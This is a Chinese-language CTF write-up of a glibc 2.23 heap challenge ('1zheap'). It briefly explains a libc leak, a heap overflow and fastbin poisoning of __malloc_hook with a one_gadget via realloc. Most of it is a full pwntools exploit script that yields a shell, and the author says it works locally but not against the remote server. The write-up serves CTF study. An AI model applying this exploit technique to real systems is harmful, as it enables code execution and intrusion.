SHCTF 2024 Week4 1zheap

最后更新于 2024-11-05 594 字 预计阅读时间: 3 分钟


2.23的堆题,但是经典本地打通远程打不通(,真玄学真搞不懂😭

2.23最容易想到的是fastbin打__malloc_hook或者__free_hook,本题也是如此

在magic1中有printf(%s)可以泄露地址,在rbp-8处有个ld的地址,和libc也是固定偏移得到libc地址

在magic_2中创建了一个0x40的堆然后进入了经典的堆创建环节

在edit函数有堆溢出,但是有ptr的判断我们只能控制最新创建的堆

我们可以创建两个堆0x50和0x60,分别free后退出在进入magic_2将ptr覆盖掉,再申请回0x50,溢出写0x60的fd打__maoolc_hook的og,再创建0x60后退出再次进入magic_2再次创建0x60就能申请到__malloc_hook,但是三个og都打不通,只能用realloc来调整堆栈。

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",arch="amd64",log_level="debug")
from pwn import *
filename="./shctf_heap"
debug=1
if debug:
    p=process(filename)
else:
    p=remote("210.44.150.15",26519)
elf=ELF(filename)
select=b"your choice>"
libc=ELF("./libc-2.23.so")
def add(size,content=b''):
    p.sendlineafter(select, b"A")
    #p.sendlineafter(b"Index: ", str(index).encode())
    p.sendlineafter(b"Inputs your lenth>", str(size).encode())
    p.sendlineafter(b"Please input your things>", content)


def edit(size,content):
    p.sendlineafter(select, b"E")
    #p.sendlineafter(b"Index: ", str(index).encode())
    p.sendlineafter(b"Inputs your lenth>", str(size).encode())
    p.sendlineafter(b"Please input your things>", content)
    p.send(content)

def free():
    p.sendlineafter(select, b"D")
    #p.sendlineafter(b"index:", str(index).encode())


def show(index):
    p.sendlineafter(select, b"3")
    p.sendlineafter(b"index:", str(index).encode())

p.recvuntil(b"your choice>")
p.sendline(b"1")
p.recvuntil(b"What's your name?")
p.sendline(b"a"*0x48)
base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x62710A
print(hex(base))


p.recvuntil(b"What's your name?")
p.sendline(b"a"*0x50)
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(stack))

p.recvuntil(b"your choice>")
p.sendline(b"2")
p.recvuntil(b"Welcome, Dear CTFer")
p.sendline(b"1")

free()
add(0x50)
free()
add(0x60)
free()
p.recvuntil(b"your choice>")
p.sendline(b"Q")

p.recvuntil(b"your choice>")
p.sendline(b"2")
p.recvuntil(b"Welcome, Dear CTFer")
p.sendline(b"1")
free()
add(0x50)
edit(0x70,b"a"*0x50+p64(0)+p64(0x71)+p64(base+libc.sym["__malloc_hook"]-0x23))
free()
add(0x60)
p.recvuntil(b"your choice>")
p.sendline(b"Q")
p.recvuntil(b"your choice>")
p.sendline(b"2")
p.recvuntil(b"Welcome, Dear CTFer")
p.sendline(b"1")
free()
add(0x60)
one=[0x4527a,0xf03a4,0xf1247]
edit(0x80,b"\x00"*(0x13-0x8)+p64(base+one[0])+p64(base+libc.sym["realloc"]+12))
p.recvuntil(b"your choice>")
p.sendline(b"Q")
p.recvuntil(b"your choice>")
p.sendline(b"2")

#gdb.attach(p)
p.interactive()

此作者没有提供个人介绍。
最后更新于 2024-11-05